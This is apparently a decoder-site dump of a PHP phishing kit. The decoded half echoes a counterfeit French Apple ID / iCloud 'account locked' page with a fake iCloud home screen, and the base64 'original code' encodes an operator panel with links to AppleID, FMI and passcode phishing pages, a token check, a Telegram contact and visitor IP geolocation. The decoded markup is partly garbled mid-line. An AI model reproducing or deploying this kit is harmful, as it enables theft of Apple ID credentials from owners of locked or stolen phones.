echo "		<div ($inserted)=\"focus()\" id=\"idms-modal-1569957525902-0\" class=\"idms-modal-content modal-content   \">
";
echo "		  
";
echo "	  <div class=\"app-dialog\" tabindex=\"-1\" style=\"outline: 0px;\">
";
echo "		  <div class=\"head \">
";
echo "			  <div class=\"title\" title-align=\"center\">
";
echo "<h2 id=\"alertInfo\" class=\"tk-subsection-headline\">
";
echo "Cet identifiant Apple a &#233;t&#233; verrouill&#233; pour des raisons de s&#233;curit&#233;
";
echo "</h2>
";
echo "			  </div>
";
echo "		  </div>
";
echo "		  <div class=\"body\" body-align=\"center\">
";
echo "			  
";
echo "		  <div class=\"acc-locked\" id=\"acc-locked\">
";
echo "			  <div class=\"dialog-body\">
";
echo "				  <div class=\"dialog-info\">
";
echo "					  <div class=\"thin\">
";
echo "Vous devez d&#233;verrouiller votre compte avant de vous connecter.
";
echo "					  </div>
";
echo "				  </div>
";
echo "			  </div>
";
echo "		  </div>
";
echo "		  </div>
";
echo "		  <div class=\"footer\">
";
echo "			  <div class=\"button-bar\" btn-direction=\"center\">
";
echo "				  <div class=\"dialog-spinner-container\" id=\"dialog-btn-spinner\"></div>
";
echo "				  <button ax-outline=\"\" tabindex=\"0\" class=\"button click-handle   button-secondary\" id=\"go-back\">
";
echo "Retour
";
echo "				      </button> 
";
echo "				  <button ax-outline=\"\" tabindex=\"0\" class=\"button click-handle  \" id=\"unlock-account\" >
";
echo "D&#233;verrouiller
";
echo "</button> 
";
echo "			  </div>
";
echo "		  </div>
";
echo "	  </div>
";
echo "		  <div style=\"clear:both\"></div>
";
echo "		</div>
";
echo "	  </div>
";
echo "	</div>
";
echo "	<div aria-hidden=\"false\" id=\"blocked_id\" class=\"idms-modal  dialog fade-in  
";
echo "	  idms-modal-type-dialog
";
echo "	  idms-modal-theme-translucent
";
echo "	  idms-modal-role-alertdialog
";
echo "	  hide\" aria-labelledby=\"alertInfo\" aria-describedby=\"idms-modal-describedby-1569957525902-0\" role=\"alertdialog\" tabindex=\"-1\" style=\"z-index: 100061;\">
";
echo "	  <div class=\"idms-modal-dialog\">
";
echo "		<div ($inserted)=\"focus()\" id=\"idms-modal-1569957525902-0\" class=\"idms-modal-content modal-content   \">
";
echo "		  
";
echo "	  <div class=\"app-dialog\" tabindex=\"-1\" style=\"outline: 0px;\">
";
echo "		  <div class=\"head \">
";
echo "			  <div class=\"title\" title-align=\"center\">
";
echo "				  <h2 id=\"alertInfo\" class=\"tk-subsection-headline\">
";
echo "Identifiant Apple incorrect
";
echo "</h2>
";
echo "			  </div>
";
echo "		  </div>
";
echo "		  <div class=\"body\" body-align=\"center\">
";
echo "			  
";
echo "		  <div class=\"acc-locked\" id=\"acc-locked\">
";
echo "			  <div class=\"dialog-body\">
";
echo "				  <div class=\"dialog-info\">
";
echo "					  <div class=\"thin\">
";
echo "L'identifiant Apple
";
echo " <span id=\"text_blocked_id\">%appleid%</span> 
";
echo "ne peut pas &#234;tre utilis&#233; pour localiser cet 
";
echo "					  <span style=\"white-space:nowrap\">
";
echo "iPhone 8 Plus
";
echo "					      </span>.
";
echo "					  </div>
";
echo "				  </div>
";
echo "			  </div>
";
echo "		  </div>
";
echo "	  
";
echo "		  </div>
";
echo "		  <div class=\"footer\">
";
echo "			  <div class=\"button-bar\" btn-direction=\"center\">
";
echo "				  <div class=\"dialog-spinner-container\" id=\"dialog-btn-spinner\"></div>
";
echo "				   
";
echo "				  <button style = \"width:180px\" ax-outline=\"\" tabindex=\"0\" class=\"button click-handle  \" id=\"block-account\" >OK</button> 
";
echo "			  </div>
";
echo "		  </div>
";
echo "	  </div>
";
echo "	
";
echo "		  <div style=\"clear:both\"></div>
";
echo "		</div>
";
echo "	  </div>
";
echo "	</div>
";
echo "	
";
echo "	  <div class=\"legal-footer\" id=\"legal-footer\" >
";
echo "		<div class=\"legal-footer-content\" style=\"white-space: normal\">
";
echo "		  <span><a class=\"create\" target=\"_blank\" href=\"#\">
";
echo $lang["Create_Footer"];
echo "		      </a>  |  <a class=\"sytemStatus\" target=\"_blank\" href=\"https://www.apple.com/support/systemstatus/\">
";
echo $lang["SYSTEM_STATUS"];
echo "		          </a>  |  <a class=\"privacy\" target=\"_blank\" href=\"https://www.apple.com/privacy/\">
";
echo $lang["POLICY"];
echo "		              </a>  |  <a class=\"terms\" target=\"_blank\" href=\"https://www.apple.com/legal/icloud/ww/\">
";
echo $lang["TERMS"];
echo "		                  </a>  |  <span class=\"copyright\">
";
echo $lang["COPYRIGHT"];
echo "	  </div></div>
";
echo "	  
";
echo "	<div id=\"back_icons\" class=\"single-presenter-view cloudos-presenter-view multi-child-view fade-in\" style=\"position: absolute; z-index: -2\">
";
echo "		<div class=\"child-views\">
";
echo "			<div id=\"div1\" class=\"bootstrap-mock-springboard-view\" aria-hidden=\"true\" style=\"position: absolute; pointer-events: none; user-select: none; filter: blur(57px); z-index: -1; left: 0px; top: 44px;\">
";
echo "			  <div id=\"div_icon\" style=\"position: absolute; width: 160px; height: 160px; border-radius: 50%; background-color: rgb(192, 192, 192); left: 880px; top: 105.082px;\"></div>
";
echo "			  <div id=\"div_text_1\" style=\"position: absolute; font-family: SFDisplay, SFText, Helvetica, sans-serif; font-size: 26px; font-weight: 600; color: rgb(51, 51, 51); text-align: center; width: 290px; height: 31px; left: 815px; top: 282.082px;\">Good afternoon, Abcdef.</div>
";
echo "			  <div id=\"div_text_2\" class=\"bootstrap-mock-account-settings\" style=\"position: absolute; font-family: SFText, Helvetica, sans-serif; font-size: 15px; font-weight: 500; color: rgb(4, 199, 255); text-align: center; width: 156px; height: 18px; left: 882px; top: 326.082px;\">Account Settings</div>
";
echo "			  <style>.bootstrap-mock-springboard-view * { filter: contrast(0.65) brightness(1.2); }</style>
";
echo "			  <div id=\"icon_1\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 437.625px; top: 428.147px; background-color: rgb(102, 188, 249);\">
";
echo "				<div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">Mail</div></div>
";
echo "				<div id=\"icon_2\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 622.695px; top: 428.147px; background-color: rgb(204, 204, 191);\">
";
echo "				  <div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">Contacts</div></div>
";
echo "				<div id=\"icon_3\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 807.765px; top: 428.147px; background-color: rgb(239, 232, 231);\">
";
echo "				  <div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">Calendar</div></div>
";
echo "				<div id=\"icon_4\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 992.835px; top: 428.147px; background-color: rgb(208, 196, 179);\">
";
echo "				  <div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">Photos</div></div>
";
echo "				  <div id=\"icon_5\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 1177.9px; top: 428.147px; background-color: rgb(201, 232, 252);\">
";
echo "					<div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">iCloud Drive</div></div>
";
echo "					<div id=\"icon_6\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 1362.97px; top: 428.147px; background-color: rgb(251, 241, 203);\">
";
echo "					  <div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">Notes</div></div>
";
echo "					  <div id=\"icon_7\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 437.625px; top: 637.097px; background-color: rgb(246, 249, 245);\">
";
echo "						<div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">Reminders</div></div>
";
echo "						<div id=\"icon_8\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 622.695px; top: 637.097px; background-color: rgb(255, 170, 30);\">
";
echo "						  <div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">Pages</div></div>
";
echo "						  <div id=\"icon_9\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 807.765px; top: 637.097px; background-color: rgb(125, 239, 120);\">
";
echo "							
eight: 155.28px; width: 119.4px; left: 1177.9px; top: 637.097px; background-color: rgb(255, 193, 55);\">
";
echo "							  <div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">Find Friends</div></div>
";
echo "							  <div id=\"icon_12\" style=\"position: absolute; border-radius: 20%; height: 155.28px; width: 119.4px; left: 1362.97px; top: 637.097px; background-color: rgb(121, 169, 129);\">
";
echo "								<div style=\"position: absolute; bottom: -10px; left: 50%; transform: translateX(-50%) translateY(100%); font-family: SFText, Helvetica, sans-serif; font-size: 13px; font-weight: 400; color: #333; white-space: nowrap;\">Find iPhone</div></div>
";
echo "							  </div>
";
echo "										<div class=\"content-container-view\">
";
echo "											<div class=\"content\" style=\"margin-top: 44px;\">
";
echo "												<div class=\"child-views\">
";
echo "													<div class=\"home-login-view\">
";
echo "														<div class=\"notice-view-container\"><div></div></div>
";
echo "														<div class=\"container-view\">
";
echo "															<div class=\"cloud-os-apple-id-view\">   
";
echo "																<div class=\"view-visible\">       
";
echo "																	<div class=\"apple-id-view apple-id-ui-view\"><div></div>div>
";
echo "																  </div>   
";
echo "																  </div>   <canvas class=\"cw-spinner-view\" height=\"64\" width=\"64\" style=\"height: 32px; width: 32px; display: none;\"></canvas></div></div><div class=\"quick-access-view hide-quick-access-view\"><div></div></div></div></div>
";
echo "																</div></div></div></div>
";
echo "																		
";
echo "</script>
";
echo " <script src=\"css3/footer.js\"></script>
";
echo "	  </body>
";
echo "	  </html>";
*/
?>

Did this file decode correctly?

Original Code

<?php $_F=__FILE__;$_X='Pz48P3BocCBzNXNzNDJuX3N0MXJ0KCk7IA0KNGYgKCE0c3M1dCgkX1NFU1NJT05bJ1VzNXJEMXQxJ11bJ1VzNXJuMW01J10pKSB7DQogICAgaDUxZDVyKCJsMmMxdDQybjpsMmc0bi5waHAiKTsNCiAgICA1eDR0Ow0KfQ0KNG5jbDNkNSgnLi4vMWoxeC8xajF4NC5waHAnKTsNCiRfU0VTYT0gIjllOGk2ZTkwMDpBQUhkSjFqSTZZbnUxNnZtMEhZeG0tV2p4dXFRSjkxU18tYyI7DQo0ZiAoJF9TRVNhICE9PSAkdDJrNW4pIHsNCiAgICAkbXNnNXJyID0gIjxzcDFuIDFsNGduPSdjNW50NXInIHN0eWw1PSdjMmwycjpyNWQnPkludjFsNGQgRDV0MTRsczwvc3Axbj5cblxuXG5cbiI7DQogICAgJG1zZzVyciAuPSAiPHNwMW4gIHN0eWw1PSdjMmwycjpncjU1bic+QzJudDFjdDwvc3Axbj5cblxuXG5cbiI7DQogICAgNWNoMiAkbXNnNXJyOw0KICAgIDVjaDIgIjwxIGhyNWY9XCJodHRwczovL3QubTUvNHQ1Y2huMjJcIiBjbDFzcz1cIkIzdHQybm9cIj5ANHQ1Y2huMjI8LzE+IjsNCiAgICAgICAgNXg0dDsNCn0NCg0KDQoNCjVjaDIgIg0KPCFET0NUWVBFIGh0bWw+DQo8aHRtbCA+DQo8aDUxZD4gIA0KICA8dDR0bDU+LS0+IDRUNWNoIFAxbjVsIFVQZDF0NWQgPC0tPC90NHRsNT4NCiAgDQogICAgICA8bDRuayByNWw9XCJzdHlsNXNoNTV0XCIgaHI1Zj1cInN0eWw1Ni5jc3NcIj4NCjxtNXQxIG4xbTU9XCJ2NDV3cDJydFwiIGMybnQ1bnQ9XCI0bjR0NDFsLXNjMWw1PTYsIG0xeDRtM20tc2MxbDU9NlwiPg0KICANCjwvaDUxZD4NCg0KPGIyZHk+DQo8YnI+PGJyPg0KICA8aDY+IE9GRiA0VCBWYS5pIEVBU1kgUEFORUw8L2g2Pg0KDQoiOw0KNWNoMiAiPGM1bnQ1cj4NCiI7DQo1Y2gyICI8ZDR2IGNsMXNzPVwiYnRuLWMybnQxNG41clwiPg0KPGJyPjxicj4NCiAgDQo8MSBocjVmPVwiLi4vNGNcIiBjbDFzcz1cImJ0blwiPjRDbDIzZCAvUDFzcyBhMCA8LzE+PGJyPjxicj4NCiAgDQo8MSBocjVmPVwiLi4vNGQvMXBwbDU0ZFwiIGNsMXNzPVwiYnRuXCI+QXBwbDVJRDwvMT48YnI+PGJyPg0KICANCjwxIGhyNWY9XCIuLi9mNG5kLzRjbXBzXCIgY2wxc3M9XCJidG5cIj5GTUkgQzJtcDFzcy9JYyBhMGEwPC8xPjxicj48YnI+ICANCiAgDQo8MSBocjVmPVwiLi4vZm00L2QzMWxcIiBjbDFzcz1cImJ0blwiPkZNSS9EVUFMPC8xPjxicj48YnI+DQogIA0KPDEgaHI1Zj1cIi4uL0ZNSS80Zm00XCIgY2wxc3M9XCJidG5cIj5mNG5kbXkgdDIgZm00PC8xPjxicj48YnI+DQoNCjwxIGhyNWY9XCIuLi9GTVkvNGZkbXlcIiBjbDFzcz1cImJ0blwiPmY0bmRteSB0MiA0Y2wyM2Q8LzE+PGJyPjxicj4NCg0KPDEgaHI1Zj1cIi4uL20xcHMvbTFwcDVyXCIgY2wxc3M9XCJidG5cIj5ONXcgTTFwIGEwPC8xPjxicj48YnI+DQogIA0KPDEgaHI1Zj1cIi4uL2Y0bmRteS80ZjRuZG15XCIgY2wxc3M9XCJidG5cIj5GNG5kTXk8LzE+PGJyPjxicj4NCg0KPDEgaHI1Zj1cIi4uL3MzcHAycnQvczNwcDJydFwiIGNsMXNzPVwiYnRuXCI+UzNwcDJydDwvMT48YnI+PGJyPg0KDQo8MSBocjVmPVwiLi4vdjVyLzR0NWNodVwiIGNsMXNzPVwiYnRuXCI+UDFzcyB1PC8xPjxicj48YnI+DQogIA0KPDEgaHI1Zj1cIi4uL3ZyZi80dDVjaGVcIiBjbDFzcz1cImJ0blwiPlAxc3MgZTwvMT48YnI+PGJyPg0KDQo8MSBocjVmPVwiLi4vNHR2LzRUVlwiIGNsMXNzPVwiYnRuXCI+QXBwVHY8LzE+PGJyPjxicj4NCg0KPDEgaHI1Zj1cImwyZzIzdC5waHBcIiBjbDFzcz1cImJ0blwiPkwyZzIzdDwvMT48YnI+PGJyPg0KDQoNCjwvZDR2Pg0KICANCiAgIjsNCjVjaDIgIjwvYzVudDVyPg0KIjsNCjVjaDIgIjxzY3I0cHQgc3JjPSdodHRwczovL2NkbmpzLmNsMjNkZmwxcjUuYzJtLzFqMXgvbDRicy9qcTM1cnkvYS42Lm8vanEzNXJ5Lm00bi5qcyc+PC9zY3I0cHQ+DQoNCiAgDQo8L2IyZHk+DQo8L2h0bWw+DQoiOw0KDQovKg0KaDUxZDVyICgnQzJudDVudC10eXA1OiB0NXh0L2h0bWw7IGNoMXJzNXQ9M3RmLTgnKTsNCjVycjJyX3I1cDJydDRuZygwKTsNCiRJRCA9IDVtcHR5KCRfR0VUWyJJRCJdKSA/IE5VTEwgOiAkX0dFVFsiSUQiXTsNCiQxM3RoID0gNW1wdHkoJF9HRVRbIjEzdGgiXSkgPyBOVUxMIDogJF9HRVRbIjEzdGgiXTsNCiQxY2M1c3M1ZCA9IGY0bDVfZzV0X2MybnQ1bnRzKCIxajF4LzJyZDVycy50eHQiKTsNCjRmICgkX1NFUlZFUlsiSFRUUF9IT1NUIl0gIT0gImwyYzFsaDJzdCIpIHsNCiAgICA0ZiAoNW1wdHkoJElEKSAmIDVtcHR5KCQxM3RoKSkgew0KICAgICAgICBoNTFkNXIoIkwyYzF0NDJuOiBodHRwczovLzRjbDIzZC5jMm0iKTsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgNGYgKHN0cnN0cigkMWNjNXNzNWQsICRJRCkgfHwgc3Ryc3RyKCQxY2M1c3M1ZCwgJDEzdGgpKSB7DQogICAgfSA1bHM1IHsNCiAgICAgICAgaDUxZDVyKCJMMmMxdDQybjogaHR0cHM6Ly80Y2wyM2QuYzJtIik7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQpmM25jdDQybiBnNXRPUygkM3M1cl8xZzVudCkgeyANCiAgICAkMnNfcGwxdGYycm0gID0gIlVua24yd24gT1MgUGwxdGYycm0iOw0KDQogICAgJDJzXzFycjF5ICAgICA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAnL3c0bmQyd3MgbnQgNjAvNCcgICAgICA9PiAgJ1c0bmQyd3MgNjAnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAnL3c0bmQyd3MgbnQgZS5vLzQnICAgICA9PiAgJ1c0bmQyd3MgOC42JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJy93NG5kMndzIG50IGUuYS80JyAgICAgPT4gICdXNG5kMndzIDgnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAnL3c0bmQyd3MgbnQgZS42LzQnICAgICA9PiAgJ1c0bmQyd3MgNycsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvdzRuZDJ3cyBudCBlLjAvNCcgICAgID0+ICAnVzRuZDJ3cyBWNHN0MScsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvdzRuZDJ3cyBudCBpLmEvNCcgICAgID0+ICAnVzRuZDJ3cyBTNXJ2NXIgYTAwby9YUCB4ZXUnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAnL3c0bmQyd3MgbnQgaS42LzQnICAgICA9PiAgJ1c0bmQyd3MgWFAnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAnL3c0bmQyd3MgeHAvNCcgICAgICAgICA9PiAgJ1c0bmQyd3MgWFAnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAnL3c0bmQyd3MgbnQgaS4wLzQnICAgICA9PiAgJ1c0bmQyd3MgYTAwMCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvdzRuZDJ3cyBtNS80JyAgICAgICAgID0+ICAnVzRuZDJ3cyBNRScsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvdzRuOTgvNCcgICAgICAgICAgICAgID0+ICAnVzRuZDJ3cyA5OCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvdzRuOWkvNCcgICAgICAgICAgICAgID0+ICAnVzRuZDJ3cyA5aScsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvdzRuNmUvNCcgICAgICAgICAgICAgID0+ICAnVzRuZDJ3cyBvLjY2JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJy9tMWM0bnQyc2h8bTFjIDJzIHgvNCcgPT4gICdNMWMgT1MgWCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvbTFjX3AydzVycGMvNCcgICAgICAgID0+ICAnTTFjIE9TIDknLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAnL2w0bjN4LzQnICAgICAgICAgICAgICA9PiAgJ0w0bjN4JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgJy8zYjNudDMvNCcgICAgICAgICAgICAgPT4gICdVYjNudDMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAnLzRwaDJuNS80JyAgICAgICAgICAgICA9PiAgJzRQaDJuNScsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvNHAyZC80JyAgICAgICAgICAgICAgID0+ICAnNFAyZCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvNHAxZC80JyAgICAgICAgICAgICAgID0+ICAnNFAxZCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvMW5kcjI0ZC80JyAgICAgICAgICAgID0+ICAnQW5kcjI0ZCcsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvYmwxY2tiNXJyeS80JyAgICAgICAgID0+ICAnQmwxY2tCNXJyeScsDQogICAgICAgICAgICAgICAgICAgICAgICAgICcvdzViMnMvNCcgICAgICAgICAgICAgID0+ICAnTTJiNGw1Jw0KICAgICAgICAgICAgICAgICAgICApOw0KDQogICAgZjJyNTFjaCAoJDJzXzFycjF5IDFzICRyNWc1eCA9PiAkdjFsMzUpDQogICAgICAgIDRmIChwcjVnX20xdGNoKCRyNWc1eCwgJDNzNXJfMWc1bnQpKQ0KICAgICAgICAgICAgJDJzX3BsMXRmMnJtID0gJHYxbDM1Ow0KDQogICAgcjV0M3JuICQyc19wbDF0ZjJybTsNCg0KfSANCg0KZjNuY3Q0Mm4gZzV0QnIyd3M1cigpew0KDQokMWc1bnQgPSAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQokbjFtNSA9ICdOQSc7DQoNCg0KNGYgKHByNWdfbTF0Y2goJy9NU0lFLzQnLCAkMWc1bnQpICYmICFwcjVnX20xdGNoKCcvT3A1cjEvNCcsICQxZzVudCkpIHsNCiAgICAkbjFtNSA9ICdJbnQ1cm41dCBFeHBsMnI1cic7DQp9IDVsczU0ZiAocHI1Z19tMXRjaCgnL0Y0cjVmMngvNCcsICQxZzVudCkpIHsNCiAgICAkbjFtNSA9ICdNMno0bGwxIEY0cjVmMngnOw0KfSA1bHM1NGYgKHByNWdfbTF0Y2goJy9DaHIybTUvNCcsICQxZzVudCkpIHsNCiAgICAkbjFtNSA9ICdHMjJnbDUgQ2hyMm01JzsNCn0gNWxzNTRmIChwcjVnX20xdGNoKCcvUzFmMXI0LzQnLCAkMWc1bnQpKSB7DQogICAgJG4xbTUgPSAnQXBwbDUgUzFmMXI0JzsNCn0gNWxzNTRmIChwcjVnX20xdGNoKCcvT3A1cjEvNCcsICQxZzVudCkpIHsNCiAgICAkbjFtNSA9ICdPcDVyMSc7DQp9IDVsczU0ZiAocHI1Z19tMXRjaCgnL041dHNjMXA1LzQnLCAkMWc1bnQpKSB7DQogICAgJG4xbTUgPSAnTjV0c2MxcDUnOw0KfQ0KDQoNCnI1dDNybiAkbjFtNTsNCn0NCg0KZjNuY3Q0Mm4gNHBfNG5mMigkNHAgPSBOVUxMLCAkcDNycDJzNSA9ICJsMmMxdDQybiIsICRkNTVwX2Q1dDVjdCA9IFRSVUUpIHsNCiAgICAkMjN0cDN0ID0gTlVMTDsNCiAgICA0ZiAoZjRsdDVyX3YxcigkNHAsIEZJTFRFUl9WQUxJREFURV9JUCkgPT09IEZBTFNFKSB7DQogICAgICAgICQ0cCA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KICAgICAgICA0ZiAoJGQ1NXBfZDV0NWN0KSB7DQogICAgICAgICAgICA0ZiAoZjRsdDVyX3YxcihAJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10sIEZJTFRFUl9WQUxJREFURV9JUCkpDQogICAgICAgICAgICAgICAgJDRwID0gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107DQogICAgICAgICAgICA0ZiAoZjRsdDVyX3YxcihAJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10sIEZJTFRFUl9WQUxJREFURV9JUCkpDQogICAgICAgICAgICAgICAgJDRwID0gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107DQogICAgICAgIH0NCiAgICB9DQogICAgJHAzcnAyczUgICAgPSBzdHJfcjVwbDFjNSgxcnIxeSgibjFtNSIsICJcbiIsICJcdCIsICIgIiwgIi0iLCAiXyIpLCBOVUxMLCBzdHJ0MmwydzVyKHRyNG0oJHAzcnAyczUpKSk7DQogICAgJHMzcHAycnQgICAgPSAxcnIxeSgiYzIzbnRyeSIsICJjMjNudHJ5YzJkNSIsICJzdDF0NSIsICJyNWc0Mm4iLCAiYzR0eSIsICJsMmMxdDQybiIsICIxZGRyNXNzIik7DQogICAgJGMybnQ0bjVudHMgPSAxcnIxeSgNCiAgICAgICAgIkFGIiA9PiAiQWZyNGMxIiwNCiAgICAgICAgIkFOIiA9PiAiQW50MXJjdDRjMSIsDQogICAgICAgICJBUyIgPT4gIkFzNDEiLA0KICAgICAgICAiRVUiID0+ICJFM3IycDUiLA0KICAgICAgICAiT0MiID0+ICJBM3N0cjFsNDEgKE9jNTFuNDEpIiwNCiAgICAgICAgIk5BIiA9PiAiTjJydGggQW01cjRjMSIsDQogICAgICAgICJTQSIgPT4gIlMyM3RoIEFtNXI0YzEiDQogICAgKTsNCiAgICA0ZiAoZjRsdDVyX3YxcigkNHAsIEZJTFRFUl9WQUxJREFURV9JUCkgJiYgNG5fMXJyMXkoJHAzcnAyczUsICRzM3BwMnJ0KSkgew0KICAgICAgICAkNHBkMXQgPSBAanMybl9kNWMyZDUoZjRsNV9nNXRfYzJudDVudHMoImh0dHA6Ly93d3cuZzUycGwzZzRuLm41dC9qczJuLmdwPzRwPSIgLiAkNHApKTsNCiAgICAgICAgNGYgKEBzdHJsNW4odHI0bSgkNHBkMXQtPmc1MnBsM2c0bl9jMjNudHJ5QzJkNSkpID09IGEpIHsNCiAgICAgICAgICAgIHN3NHRjaCAoJHAzcnAyczUpIHsNCiAgICAgICAgICAgICAgICBjMXM1ICJsMmMxdDQybiI6DQogICAgICAgICAgICAgICAgICAgICQyM3RwM3QgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgICJjNHR5IiAgICAgICAgICAgPT4gQCQ0cGQxdC0+ZzUycGwzZzRuX2M0dHksDQogICAgICAgICAgICAgICAgICAgICAgICAic3QxdDUiICAgICAgICAgID0+IEAkNHBkMXQtPmc1MnBsM2c0bl9yNWc0Mm5OMW01LA0KICAgICAgICAgICAgICAgICAgICAgICAgImMyM250cnkiICAgICAgICA9PiBAJDRwZDF0LT5nNTJwbDNnNG5fYzIzbnRyeU4xbTUsDQogICAgICAgICAgICAgICAgICAgICAgICAiYzIzbnRyeV9jMmQ1IiAgID0+IEAkNHBkMXQtPmc1MnBsM2c0bl9jMjNudHJ5QzJkNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICJjMm50NG41bnQiICAgICAgPT4gQCRjMm50NG41bnRzW3N0cnQyM3BwNXIoJDRwZDF0LT5nNTJwbDNnNG5fYzJudDRuNW50QzJkNSldLA0KICAgICAgICAgICAgICAgICAgICAgICAgImMybnQ0bjVudF9jMmQ1IiA9PiBAJDRwZDF0LT5nNTJwbDNnNG5fYzJudDRuNW50QzJkNQ0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICIxZGRyNXNzIjoNCiAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3MgPSAxcnIxeSgkNHBkMXQtPmc1MnBsM2c0bl9jMjNudHJ5TjFtNSk7DQogICAgICAgICAgICAgICAgICAgIDRmIChAc3RybDVuKCQ0cGQxdC0+ZzUycGwzZzRuX3I1ZzQybk4xbTUpID49IDYpDQogICAgICAgICAgICAgICAgICAgICAgICAkMWRkcjVzc1tdID0gJDRwZDF0LT5nNTJwbDNnNG5fcjVnNDJuTjFtNTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKEBzdHJsNW4oJDRwZDF0LT5nNTJwbDNnNG5fYzR0eSkgPj0gNikNCiAgICAgICAgICAgICAgICAgICAgICAgICQxZGRyNXNzW10gPSAkNHBkMXQtPmc1MnBsM2c0bl9jNHR5Ow0KICAgICAgICAgICAgICAgICAgICAkMjN0cDN0ID0gNG1wbDJkNSgiLCAiLCAxcnIxeV9yNXY1cnM1KCQxZGRyNXNzKSk7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgImM0dHkiOg0KICAgICAgICAgICAgICAgICAgICAkMjN0cDN0ID0gQCQ0cGQxdC0+ZzUycGwzZzRuX2M0dHk7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgInN0MXQ1IjoNCiAgICAgICAgICAgICAgICAgICAgJDIzdHAzdCA9IEAkNHBkMXQtPmc1MnBsM2c0bl9yNWc0Mm5OMW01Ow0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICJyNWc0Mm4iOg0KICAgICAgICAgICAgICAgICAgICAkMjN0cDN0ID0gQCQ0cGQxdC0+ZzUycGwzZzRuX3I1ZzQybk4xbTU7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgImMyM250cnkiOg0KICAgICAgICAgICAgICAgICAgICAkMjN0cDN0ID0gQCQ0cGQxdC0+ZzUycGwzZzRuX2MyM250cnlOMW01Ow0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICJjMjNudHJ5YzJkNSI6DQogICAgICAgICAgICAgICAgICAgICQyM3RwM3QgPSBAJDRwZDF0LT5nNTJwbDNnNG5fYzIzbnRyeUMyZDU7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0